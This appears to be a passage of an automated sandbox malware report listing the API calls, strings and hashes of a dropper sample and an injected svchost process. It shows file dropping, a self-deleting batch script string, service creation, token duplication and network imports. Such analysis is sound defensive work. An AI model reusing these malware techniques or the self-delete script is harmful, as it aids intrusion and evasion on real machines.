Instruction Fuzzy Hash: 3481AFB2508344ABD712AF64DC49FABB7ACFB88704F00491EF685D2190D770EE498B66

Function 003C274A Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 83fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003C2766
memset.MSVCRT ref: 003C2774
SHGetSpecialFolderPathA.SHELL32(00000000,?,00000026,00000000), ref: 003C2787
wsprintfA.USER32 ref: 003C27AB

Part of subcall function 003C185B: GetSystemTimeAsFileTime.KERNEL32(003C1F92,00000000,?,00000000,?,?,?,003C1F92,?,00000000,00000002), ref: 003C1867
Part of subcall function 003C185B: srand.MSVCRT ref: 003C1878
Part of subcall function 003C185B: rand.MSVCRT ref: 003C1880
Part of subcall function 003C185B: srand.MSVCRT ref: 003C1890
Part of subcall function 003C185B: rand.MSVCRT ref: 003C1894

wsprintfA.USER32 ref: 003C27C6
CopyFileA.KERNEL32(?,003C4C80,00000000), ref: 003C27D4
wsprintfA.USER32 ref: 003C27F4

Part of subcall function 003C1973: PathFileExistsA.SHLWAPI(\N<`N<,00000000,C:\Users\user\AppData\Local\Temp\XekSuT.exe), ref: 003C1992
Part of subcall function 003C1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000), ref: 003C19BA
Part of subcall function 003C1973: Sleep.KERNEL32(00000064), ref: 003C19C6
Part of subcall function 003C1973: wsprintfA.USER32 ref: 003C19EC
Part of subcall function 003C1973: CopyFileA.KERNEL32(?,?,00000000), ref: 003C1A00
Part of subcall function 003C1973: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003C1A1E
Part of subcall function 003C1973: GetFileSize.KERNEL32(?,00000000), ref: 003C1A2C
Part of subcall function 003C1973: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 003C1A46
Part of subcall function 003C1973: ReadFile.KERNEL32(?,?,00000000,?,00000000), ref: 003C1A65

DeleteFileA.KERNEL32(?,?,003C4E54,003C4E58), ref: 003C281A
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000000,00000000,?,003C4E54,003C4E58), ref: 003C2832

Strings

%s\%s, xrefs: 003C27EE
C:\Users\user\AppData\Local\Temp\, xrefs: 003C27B6
\WinRAR\Rar.exe, xrefs: 003C2793
%s%.8x.exe, xrefs: 003C27BB
%s%s, xrefs: 003C27A5
C:\Windows\system32, xrefs: 003C27E3
c_31892.nls, xrefs: 003C27DE

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: File$wsprintf$Create$CopyPathTimememsetrandsrand$AllocDeleteExistsFolderReadSizeSleepSpecialSystemVirtual
String ID: %s%.8x.exe$%s%s$%s\%s$C:\Users\user\AppData\Local\Temp\$C:\Windows\system32$\WinRAR\Rar.exe$c_31892.nls
API String ID: 692489704-3961832207
Opcode ID: 96ee63655fa08b98fc76511df5d86997b25e1d0743cd111fcc55687e06a44327
Instruction ID: ff683cb7a6e5df261a5add46a363deb1c0fc3db772b226cda8816c246b3a29fd
Opcode Fuzzy Hash: 96ee63655fa08b98fc76511df5d86997b25e1d0743cd111fcc55687e06a44327
Instruction Fuzzy Hash: FF2130B694031C7BEB12E7A49C99FDB776CEB04744F0045A9F645E2042E670AF448BA0

Function 003C1581 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 67filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 003C185B: GetSystemTimeAsFileTime.KERNEL32(003C1F92,00000000,?,00000000,?,?,?,003C1F92,?,00000000,00000002), ref: 003C1867
Part of subcall function 003C185B: srand.MSVCRT ref: 003C1878
Part of subcall function 003C185B: rand.MSVCRT ref: 003C1880
Part of subcall function 003C185B: srand.MSVCRT ref: 003C1890
Part of subcall function 003C185B: rand.MSVCRT ref: 003C1894

wsprintfA.USER32 ref: 003C15AA
wsprintfA.USER32 ref: 003C15C6
lstrlen.KERNEL32(?), ref: 003C15D2
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 003C15EE
WriteFile.KERNEL32(00000000,?,00000000,00000001,00000000), ref: 003C1609
CloseHandle.KERNEL32(00000000), ref: 003C1612
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000000), ref: 003C162D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 003C1599
C:\Users\user\AppData\Local\Temp\XekSuT.exe, xrefs: 003C158A, 003C15B3, 003C15B8, 003C15B9
open, xrefs: 003C1627
:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s", xrefs: 003C15C0
%s%.8x.bat, xrefs: 003C15A4

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: File$Timerandsrandwsprintf$CloseCreateExecuteHandleShellSystemWritelstrlen
String ID: %s%.8x.bat$:DELFILEdel "%s"if exist "%s" goto :DELFILEdel "%s"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\XekSuT.exe$open
API String ID: 617340118-1701430585
Opcode ID: efa75f7d406b45bc8b5fa1f6f8a42728b547d846a9a2ddba4c84192703946f5b
Instruction ID: 126e7da1eaa3a81eaf0d6b134ad34e460b014ba53a197c7079cd9aa960f85c7c
Opcode Fuzzy Hash: efa75f7d406b45bc8b5fa1f6f8a42728b547d846a9a2ddba4c84192703946f5b
Instruction Fuzzy Hash: EE1173B6A011387FD722A7A59C89EEB7B7CEF59750F044055F94AE3041DA70AF848BB0

Function 003C120E Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 93librarymemoryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQuerySystemInformation,00000104,?,?,?,?,003C1400), ref: 003C1226
GetProcAddress.KERNEL32(00000000), ref: 003C122D
GetCurrentProcessId.KERNEL32(?,?,?,?,003C1400), ref: 003C123F
OpenProcess.KERNEL32(00000400,00000000,00000000,?,?,?,?,003C1400), ref: 003C1250
VirtualFree.KERNEL32(00000000,00000000,00008000,?,C:\Users\user\AppData\Local\Temp\XekSuT.exe,?,?,?,?,003C1400), ref: 003C129E
VirtualAlloc.KERNEL32(00000000,00050000,00003000,00000004,00000001,?,C:\Users\user\AppData\Local\Temp\XekSuT.exe,?,?,?,?,003C1400), ref: 003C12B0
CloseHandle.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\XekSuT.exe,?,?,?,?,003C1400), ref: 003C12F5
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,003C1400), ref: 003C130A

Strings

C:\Users\user\AppData\Local\Temp\XekSuT.exe, xrefs: 003C1262
ZwQuerySystemInformation, xrefs: 003C1212
ntdll.dll, xrefs: 003C1219

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: Virtual$FreeHandleProcess$AddressAllocCloseCurrentModuleOpenProc
String ID: C:\Users\user\AppData\Local\Temp\XekSuT.exe$ZwQuerySystemInformation$ntdll.dll
API String ID: 1500695312-757463314
Opcode ID: d8fb6c8b70f35d431b1c9474ab772f7a5dfcb5451ad6c046008aa2a26f90263e
Instruction ID: 58c02a85f0d552b60bccc8a5db811d63a515a73a9ebd8203e787f6729ce1cf43
Opcode Fuzzy Hash: d8fb6c8b70f35d431b1c9474ab772f7a5dfcb5451ad6c046008aa2a26f90263e
Instruction Fuzzy Hash: 2721F576645321ABD7229B65CC08FABBAACFB87B00F114D1CF946D6241C770EE40D7A5

Function 003C189D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 003C18B1
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,?,?,000007D0,74DF0F00,75BF8400), ref: 003C18D3
CloseHandle.KERNEL32(I%<), ref: 003C18E9
WaitForSingleObject.KERNEL32(?,000000FF), ref: 003C18F0
GetExitCodeProcess.KERNEL32(?,?), ref: 003C1901
CloseHandle.KERNEL32(?), ref: 003C190A

Strings

I%<, xrefs: 003C18E0

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateExitObjectSingleWaitmemset
String ID: I%<
API String ID: 876959470-1201062717
Opcode ID: 03970b9fadb1d870836068feff2f221e8487e2fc6b49c773cc48e8f5e047e0d0
Instruction ID: 472adfaa1cc35845101af9b5d822df5c61fe8d4246ab7750e4c06ffc54c9d452
Opcode Fuzzy Hash: 03970b9fadb1d870836068feff2f221e8487e2fc6b49c773cc48e8f5e047e0d0
Instruction Fuzzy Hash: 9E017172901128BBCB226B95DC48DDF7F3DFF85724F108025F916E51A0D6315A18CBA0

Function 003C2692 Relevance: 12.1, APIs: 8, Instructions: 64stringsynchronizationCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000001,00000000,74DEE800,?,?,003C29DB,?,00000001), ref: 003C26A7
WaitForSingleObject.KERNEL32(00000000,000000FF,74DEE800,?,?,003C29DB,?,00000001), ref: 003C26B5
lstrlen.KERNEL32(?), ref: 003C26C4
??2@YAPAXI@Z.MSVCRT(-00000005), ref: 003C26CE
lstrcpy.KERNEL32(00000004,?), ref: 003C26E3
lstrcpy.KERNEL32(?,00000004), ref: 003C271F
??3@YAXPAX@Z.MSVCRT(00000000), ref: 003C272D
SetEvent.KERNEL32 ref: 003C273C

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: Eventlstrcpy$??2@??3@CreateObjectSingleWaitlstrlen
String ID:
API String ID: 41106472-0
Opcode ID: 62f7e46abc5de31f85aecf3193b9f2baed82a34885ab6d71ce74f6eab8f47a73
Instruction ID: a70f8c72b86d98b068872a0e86086a56fa55e5a13e906fc515faca371dbd1b71
Opcode Fuzzy Hash: 62f7e46abc5de31f85aecf3193b9f2baed82a34885ab6d71ce74f6eab8f47a73
Instruction Fuzzy Hash: AB118F76500210EFCB23AF69EC88D5B7BADFB84721F168029F85AD7121D770AD85DB60

Function 003C1B8A Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 81stringCOMMON

Download Yara Rule

APIs

srand.MSVCRT ref: 003C1BCD
rand.MSVCRT ref: 003C1BD8
memset.MSVCRT ref: 003C1C43
memcpy.MSVCRT(?,CjQNZOGccPzoeIlyMExymiYOJmbwhkgtDRoVwpTqUYgqXzufLvTCFalyuuPgZHkJPCsGsoKONhBIMkQrnVrtFAiAXxhsKjwaHbWEnXHNDLdbYefcZVWjqdULRIpndSvSFMrSUxBRAEfJzKpGlmeWQDtivBaT,00000006,?,00000000,00000040,?,00000000,00000000,?,00000000,00000002), ref: 003C1C4F
lstrcat.KERNEL32(?,.exe), ref: 003C1C5D

Strings

CjQNZOGccPzoeIlyMExymiYOJmbwhkgtDRoVwpTqUYgqXzufLvTCFalyuuPgZHkJPCsGsoKONhBIMkQrnVrtFAiAXxhsKjwaHbWEnXHNDLdbYefcZVWjqdULRIpndSvSFMrSUxBRAEfJzKpGlmeWQDtivBaT, xrefs: 003C1B8A, 003C1B9C, 003C1C15, 003C1C49
.exe, xrefs: 003C1C57

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: lstrcatmemcpymemsetrandsrand
String ID: .exe$CjQNZOGccPzoeIlyMExymiYOJmbwhkgtDRoVwpTqUYgqXzufLvTCFalyuuPgZHkJPCsGsoKONhBIMkQrnVrtFAiAXxhsKjwaHbWEnXHNDLdbYefcZVWjqdULRIpndSvSFMrSUxBRAEfJzKpGlmeWQDtivBaT
API String ID: 122620767-3124869439
Opcode ID: 898de830939479136b6ff5ddfe991487fc5a6bcbabafa1744110884a04304a96
Instruction ID: ce2abdf9f6322e182936facb8bd6d68cfd64f41cf63e7c95e587c2a81b2a2690
Opcode Fuzzy Hash: 898de830939479136b6ff5ddfe991487fc5a6bcbabafa1744110884a04304a96
Instruction Fuzzy Hash: 53216B22E442A06ED31723396C64FAA3F489FA7721F16809DF486CB193D2641DC39360

Function 003C1319 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtSystemDebugControl,-00000094,-00000094,0000000C,0000000C,00000001), ref: 003C1334
GetProcAddress.KERNEL32(00000000), ref: 003C133B
memset.MSVCRT ref: 003C1359

Strings

NtSystemDebugControl, xrefs: 003C132A
ntdll.dll, xrefs: 003C132F

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: AddressHandleModuleProcmemset
String ID: NtSystemDebugControl$ntdll.dll
API String ID: 3137504439-2438149413
Opcode ID: a2d30baac50b7aef09bad71d35b38480cc5c2c5efd3fc645ad26383436725a82
Instruction ID: e9a430319dc01e33c0ced7f42b62280419003b614d394cca602edbe8b0af0e8e
Opcode Fuzzy Hash: a2d30baac50b7aef09bad71d35b38480cc5c2c5efd3fc645ad26383436725a82
Instruction Fuzzy Hash: 94016D76600359AFDB12DF94AC85EAFBBBCFB42318F00812EF901E2141E3709A15DB51

Function 003C1DF6 Relevance: 7.5, APIs: 5, Instructions: 45stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 003C1E0B
lstrcpy.KERNEL32(?,00000001), ref: 003C1E1C
strrchr.MSVCRT ref: 003C1E2B
lstrcmpiA.KERNEL32(?,003C4488), ref: 003C1E48
lstrlen.KERNEL32(003C4488), ref: 003C1E53

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: strrchr$lstrcmpilstrcpylstrlen
String ID:
API String ID: 3636361484-0
Opcode ID: 86c1a77109f803ac3a479900b1dddcedca3ce2413718efa82a3b3c70762749b5
Instruction ID: de7b28ae56ce5969f22b8afd6e6ae852713075d1bf9cb86677a81f528ea2a37d
Opcode Fuzzy Hash: 86c1a77109f803ac3a479900b1dddcedca3ce2413718efa82a3b3c70762749b5
Instruction Fuzzy Hash: DF01F9B39142296FEB225770EC48FD677DCEB05310F15406AEA46E3091EA74EE849BA0

Function 003C185B Relevance: 7.5, APIs: 5, Instructions: 31timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(003C1F92,00000000,?,00000000,?,?,?,003C1F92,?,00000000,00000002), ref: 003C1867
srand.MSVCRT ref: 003C1878
rand.MSVCRT ref: 003C1880
srand.MSVCRT ref: 003C1890
rand.MSVCRT ref: 003C1894

Memory Dump Source

Source File: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: Timerandsrand$FileSystem
String ID:
API String ID: 4106363736-0
Opcode ID: 177e99b80ef17b7c0d4c23b82040904654e19dd29738546c52272adae4536685
Instruction ID: 4bbab118979f20559a1e6486db168170ef40e66eb28f256cdef3900b73ded315
Opcode Fuzzy Hash: 177e99b80ef17b7c0d4c23b82040904654e19dd29738546c52272adae4536685
Instruction Fuzzy Hash: 59E0D877A00228BBD700A7F9EC46C9EBBACEE84261F100527F601D3250E570FD448BB4

Function 003C6014 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 003C603C
GetProcAddress.KERNEL32(00000000,003C6064), ref: 003C604F

Strings

kernel32.dll, xrefs: 003C603B

Memory Dump Source

Source File: 00000001.00000002.1891288538.00000000003C6000.00000040.00000001.01000000.00000004.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.1891201701.00000000003C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891225274.00000000003C1000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891247732.00000000003C3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1891266470.00000000003C4000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_XekSuT.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: kernel32.dll
API String ID: 1646373207-1793498882
Opcode ID: a9c0c2112eefff716ce5f7b356284bbb0378545e8d6440b90cc4173e26c7f084
Instruction ID: 3f6159de7ac2ff1d7394e5d593a61a1a05045a11dd2d8c1083ef74f396eefcbc
Opcode Fuzzy Hash: a9c0c2112eefff716ce5f7b356284bbb0378545e8d6440b90cc4173e26c7f084
Instruction Fuzzy Hash: DEF0CDB11442998BEF718EA4CC45FDE3BE4EB05700F50042EEA09CB282CB348A058B24

Analysis Process: svchost.exePID: 2688, Parent PID: 620COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.7%
Total number of Nodes:	642
Total number of Limit Nodes:	4

Executed Functions

Function 10003E6B Relevance: 248.8, APIs: 71, Strings: 71, Instructions: 296
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,?,1000383C,10004E5A,?,?,?,?,?,?), ref: 10003E85
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 10003E96
GetProcAddress.KERNEL32(74DD0000,GetModuleFileNameA), ref: 10003EA3
GetProcAddress.KERNEL32(74DD0000,CreateMutexA), ref: 10003EB0
GetProcAddress.KERNEL32(74DD0000,ReleaseMutex), ref: 10003EBD
GetProcAddress.KERNEL32(74DD0000,GetLastError), ref: 10003ECA
GetProcAddress.KERNEL32(74DD0000,CloseHandle), ref: 10003ED7
GetProcAddress.KERNEL32(74DD0000,Sleep), ref: 10003EE4
GetProcAddress.KERNEL32(74DD0000,lstrcatA), ref: 10003EF1
GetProcAddress.KERNEL32(74DD0000,GetTickCount), ref: 10003EFE
GetProcAddress.KERNEL32(74DD0000,WaitForSingleObject), ref: 10003F0B
GetProcAddress.KERNEL32(74DD0000,GetFileAttributesA), ref: 10003F18
GetProcAddress.KERNEL32(74DD0000,CreateEventA), ref: 10003F25
GetProcAddress.KERNEL32(74DD0000,ResetEvent), ref: 10003F32
GetProcAddress.KERNEL32(74DD0000,CancelIo), ref: 10003F3F
GetProcAddress.KERNEL32(74DD0000,SetEvent), ref: 10003F4C
GetProcAddress.KERNEL32(74DD0000,TerminateThread), ref: 10003F59
GetProcAddress.KERNEL32(74DD0000,GetVersionExA), ref: 10003F66
GetProcAddress.KERNEL32(74DD0000,GetExitCodeProcess), ref: 10003F73
GetProcAddress.KERNEL32(74DD0000,ExpandEnvironmentStringsA), ref: 10003F80
GetProcAddress.KERNEL32(74DD0000,GetSystemInfo), ref: 10003F8D
GetProcAddress.KERNEL32(74DD0000,GetSystemDirectoryA), ref: 10003F9A
GetProcAddress.KERNEL32(74DD0000,MoveFileA), ref: 10003FA7
GetProcAddress.KERNEL32(74DD0000,MoveFileExA), ref: 10003FB4

Strings

recv, xrefs: 10004108
WaitForSingleObject, xrefs: 10003F00
CloseHandle, xrefs: 10003ECC
getsockname, xrefs: 10004158
User32.dll, xrefs: 10003FD0
GetModuleFileNameA, xrefs: 10003E98
lstrcatA, xrefs: 10003EE6
GetSystemDirectoryA, xrefs: 10003F8F
GetSystemInfo, xrefs: 10003F82
memset, xrefs: 10004070
DuplicateTokenEx, xrefs: 10004240
setsockopt, xrefs: 10004128
ReleaseMutex, xrefs: 10003EB2
GetFileAttributesA, xrefs: 10003F0D
MSVCRT.dll, xrefs: 10004038
htons, xrefs: 100040D8
wsprintfA, xrefs: 10003FDD
CreateProcessAsUserA, xrefs: 10004260
ExpandEnvironmentStringsA, xrefs: 10003F75
SendMessageA, xrefs: 10004018
WSACleanup, xrefs: 100040A8
MoveFileA, xrefs: 10003F9C
CreateProcessA, xrefs: 10003E8D
GetCurrentProcess, xrefs: 10003FC3
IsWindowVisible, xrefs: 10004008
ADVAPI32.dll, xrefs: 10004178
socket, xrefs: 100040B8
connect, xrefs: 100040E8
OpenServiceA, xrefs: 100041B0
strcmp, xrefs: 10004045
GetTickCount, xrefs: 10003EF3
CreateServiceA, xrefs: 10004200
TerminateThread, xrefs: 10003F4E
WSAStartup, xrefs: 1000409D
select, xrefs: 10004148
strlen, xrefs: 10004050
RegisterServiceCtrlHandlerA, xrefs: 10004190
CancelIo, xrefs: 10003F34
SetTokenInformation, xrefs: 10004250
SetServiceStatus, xrefs: 10004185
ExitWindowsEx, xrefs: 10003FE8
Sleep, xrefs: 10003ED9
wininet.dll, xrefs: 10004270
strstr, xrefs: 10004080
EnumWindows, xrefs: 10004028
gethostbyname, xrefs: 100040C8
OpenProcessToken, xrefs: 10004230
ChangeServiceConfig2A, xrefs: 10004210
CreateMutexA, xrefs: 10003EA5
GetExitCodeProcess, xrefs: 10003F68
MessageBoxA, xrefs: 10003FF8
WSAIoctl, xrefs: 10004138
gethostname, xrefs: 10004168
ResetEvent, xrefs: 10003F27
CreateEventA, xrefs: 10003F1A
GetVersionExA, xrefs: 10003F5B
WTSGetActiveConsoleSessionId, xrefs: 10003FB6
GetLastError, xrefs: 10003EBF
CloseServiceHandle, xrefs: 100041D0
kernel32.dll, xrefs: 10003E80
OpenSCManagerA, xrefs: 100041A0
MoveFileExA, xrefs: 10003FA9
send, xrefs: 100040F8
StartServiceA, xrefs: 100041C0
closesocket, xrefs: 10004118
DeleteService, xrefs: 10004220
QueryServiceStatus, xrefs: 100041E6
memcpy, xrefs: 10004060
SetEvent, xrefs: 10003F41
ControlService, xrefs: 100041F0
ws2_32.dll, xrefs: 10004090

Memory Dump Source

Source File: 00000003.00000002.4131325751.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.4131288189.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131358371.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131391729.0000000010006000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.4131424734.0000000010007000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_svchost.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: ADVAPI32.dll$CancelIo$ChangeServiceConfig2A$CloseHandle$CloseServiceHandle$ControlService$CreateEventA$CreateMutexA$CreateProcessA$CreateProcessAsUserA$CreateServiceA$DeleteService$DuplicateTokenEx$EnumWindows$ExitWindowsEx$ExpandEnvironmentStringsA$GetCurrentProcess$GetExitCodeProcess$GetFileAttributesA$GetLastError$GetModuleFileNameA$GetSystemDirectoryA$GetSystemInfo$GetTickCount$GetVersionExA$IsWindowVisible$MSVCRT.dll$MessageBoxA$MoveFileA$MoveFileExA$OpenProcessToken$OpenSCManagerA$OpenServiceA$QueryServiceStatus$RegisterServiceCtrlHandlerA$ReleaseMutex$ResetEvent$SendMessageA$SetEvent$SetServiceStatus$SetTokenInformation$Sleep$StartServiceA$TerminateThread$User32.dll$WSACleanup$WSAIoctl$WSAStartup$WTSGetActiveConsoleSessionId$WaitForSingleObject$closesocket$connect$gethostbyname$gethostname$getsockname$htons$kernel32.dll$lstrcatA$memcpy$memset$recv$select$send$setsockopt$socket$strcmp$strlen$strstr$wininet.dll$ws2_32.dll$wsprintfA
API String ID: 2238633743-2593546367
Opcode ID: c0ece4e7efd5b4c6edabd0fb5669f7d958223cf09bcca4ca1208277cbc57487f
Instruction ID: 1d4e4a84f7054c9bea1b663399dca5a43fab5260fb22e9cb011038ddc9d5f956
Opcode Fuzzy Hash: c0ece4e7efd5b4c6edabd0fb5669f7d958223cf09bcca4ca1208277cbc57487f
Instruction Fuzzy Hash: F5B16970800B45AEE731AF32CD04EA7BEF6FF84340B118D2DE5AA56924DB32A855DF51

Function 10001FBD Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 98
libraryprocessloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(userenv.dll,00000000,00000104,00000000), ref: 10001FCB
GetProcAddress.KERNEL32(00000000,CreateEnvironmentBlock), ref: 10001FDA
memset.MSVCRT ref: 10001FF9
memset.MSVCRT ref: 10002005
GetCurrentProcess.KERNEL32 ref: 10002023
OpenProcessToken.ADVAPI32(00000000,000F01FF,10003544), ref: 10002033
DuplicateTokenEx.ADVAPI32(10003544,02000000,00000000,00000001,00000001,?), ref: 1000204A
SetTokenInformation.ADVAPI32(?,0000000C,?,00000004), ref: 10002069
CreateProcessAsUserA.KERNELBASE(?,00000000,10003544,00000000,00000000,00000000,00000430,?,00000000,?,?), ref: 10002094
CloseHandle.KERNEL32(?), ref: 100020A0
